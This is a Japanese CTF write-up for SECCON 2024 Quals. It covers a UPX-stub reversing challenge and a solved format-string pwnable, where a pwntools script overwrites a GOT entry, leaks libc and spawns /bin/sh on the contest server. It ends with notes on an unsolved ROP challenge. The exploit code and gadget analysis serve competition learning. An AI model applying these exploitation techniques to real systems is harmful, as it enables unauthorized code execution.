チームFCCPCで参加して40位(国内12位)。
packed (reversing)
$ ./a.out
FLAG: SECCON{hoge}
Wrong.
UPXでpackされている。展開したバイナリを解析すると、常に Wrong.
と出力していた。
GDBで実行して、 FLAG:
と表示されているタイミングで止めて動的解析した。
0x000000000044ee34 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
RAX 0x31
RBX 0x44ef14 ◂— invd
RCX 0x31
RDX 0x203a47414c46
*RDI 0x7fffffffd968 ◂— 'SECCON{hogehogehoge}\n'
RSI 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
R8 0x134908
R9 0x0
R10 0x12
R11 0x346
R12 0x7ffff7ba9000
R13 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
R14 0x7ffff7fa9100 ◂— 0xc400000270
R15 0x4e9fc
RBP 0x7ffff7ff7b07 ◂— push rbp
RSP 0x7fffffffd9f8 —▸ 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
*RIP 0x44ee34 ◂— lodsb al, byte ptr [rsi]
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
0x44ee22 jne 0x44eec3 <0x44eec3>
0x44ee28 mov ecx, eax
0x44ee2a pop rdx
0x44ee2b pop rsi
0x44ee2c lea rdi, [rsp - 0x90]
► 0x44ee34 lodsb al, byte ptr [rsi]
0x44ee35 xor byte ptr [rdi], al
0x44ee37 inc rdi
0x44ee3a loopne 0x44ee34
↓
0x44ee34 lodsb al, byte ptr [rsi]
0x44ee35 xor byte ptr [rdi], al
0x000000000044ee82 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
RAX 0x77
RBX 0x44ef14 ◂— invd
RCX 0x31
*RDX 0x0
RDI 0x7fffffffd968 ◂— 0x2182cd4f43430fbb
RSI 0x44ee41 ◂— mov ebx, 0x4f43430f
R8 0x134908
R9 0x0
R10 0x12
R11 0x346
R12 0x7ffff7ba9000
R13 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
R14 0x7ffff7fa9100 ◂— 0xc400000270
R15 0x4e9fc
RBP 0x7ffff7ff7b07 ◂— push rbp
RSP 0x7fffffffd9f8 —▸ 0x7ffff7ff7f14 ◂— call 0x7ffff7ff7f63
*RIP 0x44ee82 ◂— lodsb al, byte ptr [rsi]
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
0x44ee72 mov ecx, 0x31
0x44ee77 pop rsi
0x44ee78 lea rdi, [rsp - 0x90]
0x44ee80 xor edx, edx
► 0x44ee82 lodsb al, byte ptr [rsi]
0x44ee83 cmp byte ptr [rdi], al
0x44ee85 setne al
0x44ee88 or dl, al
0x44ee8a inc rdi
0x44ee8d loopne 0x44ee82
↓
0x44ee82 lodsb al, byte ptr [rsi]
pwndbg> hexdump 0x7ffff7ff7f10 0x80
+0000 0x7ffff7ff7f10 00 01 00 00 e8 4a 00 00 00 83 f9 49 75 44 53 57 │.....J..│...IuDSW│
+0010 0x7ffff7ff7f20 48 8d 4c 37 fd 5e 56 5b eb 2f 48 39 ce 73 32 56 │H.L7.^V[│./H9.s2V│
+0020 0x7ffff7ff7f30 5e ac 3c 80 72 0a 3c 8f 77 06 80 7e fe 0f 74 06 │^.<.r.<.│w..~..t.│
+0030 0x7ffff7ff7f40 2c e8 3c 01 77 e4 48 39 ce 73 16 56 ad 28 d0 75 │,.<.w.H9│.s.V.(.u│
+0040 0x7ffff7ff7f50 df 5f 0f c8 29 f8 01 d8 ab 48 39 ce 73 03 ac eb │._..)...│.H9.s...│
+0050 0x7ffff7ff7f60 df 5b c3 58 41 56 41 57 50 48 89 e6 48 81 ec 00 │.[.XAVAW│PH..H...│
+0060 0x7ffff7ff7f70 10 00 00 54 5f 6a 0a 59 f3 48 a5 48 83 3e 00 48 │...T_j.Y│.H.H.>.H│
+0070 0x7ffff7ff7f80 a5 75 f8 49 89 fe 48 ab 48 83 3e 00 48 a5 75 f8 │.u.I..H.│H.>.H.u.│
pwndbg> hexdump 0x44ee40 0x80
+0000 0x44ee40 00 bb 0f 43 43 4f cd 82 1c 25 1c 0c 24 7f f8 2e │...CCO..│.%..$...│
+0010 0x44ee50 68 cc 2d 09 3a b4 48 78 56 aa 2c 42 3a 6a cf 0f │h.-.:.Hx│V.,B:j..│
+0020 0x44ee60 df 14 3a 4e d0 1f 37 e4 17 90 39 2b 65 1c 8c 0f │..:N..7.│..9+e...│
+0030 0x44ee70 7c 7d b9 31 00 00 00 5e 48 8d bc 24 70 ff ff ff │|}.1...^│H..$p...│
+0040 0x44ee80 31 d2 ac 38 07 0f 95 c0 08 c2 48 ff c7 e0 f3 85 │1..8....│..H.....│
+0050 0x44ee90 d2 75 30 48 ba 55 50 58 21 20 20 00 00 48 b8 1a │.u0H.UPX│!....H..│
+0060 0x44eea0 1b 79 2b 20 20 00 00 48 31 d0 48 89 44 24 00 54 │.y+....H│1.H.D$.T│
+0070 0x44eeb0 5e ba 01 00 00 00 52 52 ba 04 00 00 00 5f 58 0f │^.....RR│....._X.│
X = [
0xe8, 0x4a, 0x00, 0x00, 0x00, 0x83, 0xf9, 0x49, 0x75, 0x44, 0x53, 0x57, 0x48, 0x8d, 0x4c, 0x37,
0xfd, 0x5e, 0x56, 0x5b, 0xeb, 0x2f, 0x48, 0x39, 0xce, 0x73, 0x32, 0x56, 0x5e, 0xac, 0x3c, 0x80,
0x72, 0x0a, 0x3c, 0x8f, 0x77, 0x06, 0x80, 0x7e, 0xfe, 0x0f, 0x74, 0x06, 0x2c, 0xe8, 0x3c, 0x01,
0x77,
]
Y = [
0xbb, 0x0f, 0x43, 0x43, 0x4f, 0xcd, 0x82, 0x1c, 0x25, 0x1c, 0x0c, 0x24, 0x7f, 0xf8, 0x2e, 0x68,
0xcc, 0x2d, 0x09, 0x3a, 0xb4, 0x48, 0x78, 0x56, 0xaa, 0x2c, 0x42, 0x3a, 0x6a, 0xcf, 0x0f, 0xdf,
0x14, 0x3a, 0x4e, 0xd0, 0x1f, 0x37, 0xe4, 0x17, 0x90, 0x39, 0x2b, 0x65, 0x1c, 0x8c, 0x0f, 0x7c,
0x7d,
]
print("".join(map(chr, [x^y for x, y in zip(X, Y)])))
$ python3 solve.py
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
一方がコード領域なので、改竄していると正しく動かないのかもしれない。
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
Paragraph (pwnable)
#include <stdio.h>
int main() {
char name[24];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("\"What is your name?\", the black cat asked.\n");
scanf("%23s", name);
printf(name);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
return 0;
}
書式指定文字列攻撃やるだけに見えるが、23文字しか使えないのが厳しい。書けるのは2バイトか。
printf
の下位2バイトを書き換えてone gadget RCEに飛ばそうと思ったけれど、 rsp & 0xf == 0
の条件が満たせない。 system
に書き換えることもできるが、第1引数は固定。
printf
を gets
に書き換えて、今度は文字数制限が無いからスタックバッファオーバーフローをすれば良いのか。
from pwn import *
context.arch = "amd64"
s = remote("paragraph.seccon.games", 5000)
s.sendlineafter(b"the black cat asked.\n",
# 6290
b"%25232c%8$hn____"+pack(0x404028)[:-1]
)
s.recvuntil(b"\x28\x40\x40")
s.sendline(
b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " +
b"x"*0x28 +
pack(0x401283) + # pop rdi
pack(0x404018) + # puts@GOT
pack(0x401070) + # puts
pack(0x401196) + # main
b" !"
)
s.sendline(b"!")
puts = unpack(s.read(6)+b"\0\0")
print("puts:", hex(puts))
libc = ELF("libc.so.6")
libc.address = puts-libc.symbols.puts
s.sendline(
b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " +
b"x"*0x28 +
pack(0x401284) + # ret
pack(0x401283) + # pop rdi
pack(next(libc.search(b"/bin/sh"))) +
pack(libc.symbols.system) +
b" !"
)
s.interactive()
printf
は 7f???????0f0
に配置される。1/16の確率で 7f??????00f0
に配置されたときに解ける。
$ python3 attack.py
[+] Opening connection to paragraph.seccon.games on port 5000: Done
puts: 0x7f546da97bd0
[*] '/mnt/c/documents/ctf/seccon2024q/Paragraph/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
"What is your name?", the black cat asked.
$ cat /flag*
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
$
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
Make ROP Great Again (pwnable)
解けなかった。
// gcc mrga.c -fno-stack-protector -fno-pic -no-pie -Wl,-z,now -o chall
#include <stdio.h>
void show_prompt(void);
__attribute__((constructor))
static int init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
return 0;
}
int main(void){
char buf[0x10];
show_prompt();
gets(buf);
return 0;
}
void show_prompt(void){
puts(">");
}
スタックバッファオーバーフローをやるだけの問題に見える……が、 __libc_csu_init
が無くて、素直にROPができない。関数呼び出しの第1引数になる rdi
に値を設定できない。
しかし、今回のバイナリは PIE が無効で GOT のオーバーライドが可能です。
そのため、そもそも fgets の GOT を書き換えてしまえば、rdi の操作を行った後に任意のコードを実行できそうです。
まず最初のステージでは、以下のコードを ROP で悪用して fgets により fgets の GOT をオーバーライドさせることを目指します。
Imaginary CTF 2024 Writeup - かえるのひみつきち
なるほどね。 pop rdi; ret
があるから、rdi
はコントロール可能。 gets(rbp-0x10); leave; ret
で、任意のアドレスに値を書き込める(ROPの継続のためには leave
への配慮が必要)。これで、 gets
の ROP
を好きなアドレスに書き換えれば、任意の関数が任意の引数で呼べるのか。……Full RELROだった。
実行したいのは puts(libcのアドレスが格納されたアドレス)
で、
0x004010e7: mov edi, 0x00404010 ; jmp rax ; (2 found)
こういうガジェットはある。 0x00404010
は stdout
。でも、後続が ret
ではなく jmp rax
。逆に言えば、 rax
をコントロールできれば良い。
0x00401157: add eax, 0x00002ECB ; add dword [rbp-0x3D], ebx ; nop ; ret ; (1 found)
これで0x2ECBの倍数のアドレスは作れるが……。
0x004010b0: adc eax, 0x00002F3B ; hlt ; nop word [rax+rax+0x00000000] ; hint_nop edx ; ret ; (1 found)
これを組み合わせればさらに色々なアドレスが作れる……と思ったけど、良く見たら hlt
が挟まっていた。
後は、 stdin
や stdout
が格納されているアドレスを書き換えれば、それを setbuf
に渡して何ができそう。でも、これは gets
の中でも参照されていて難しく、時間切れ。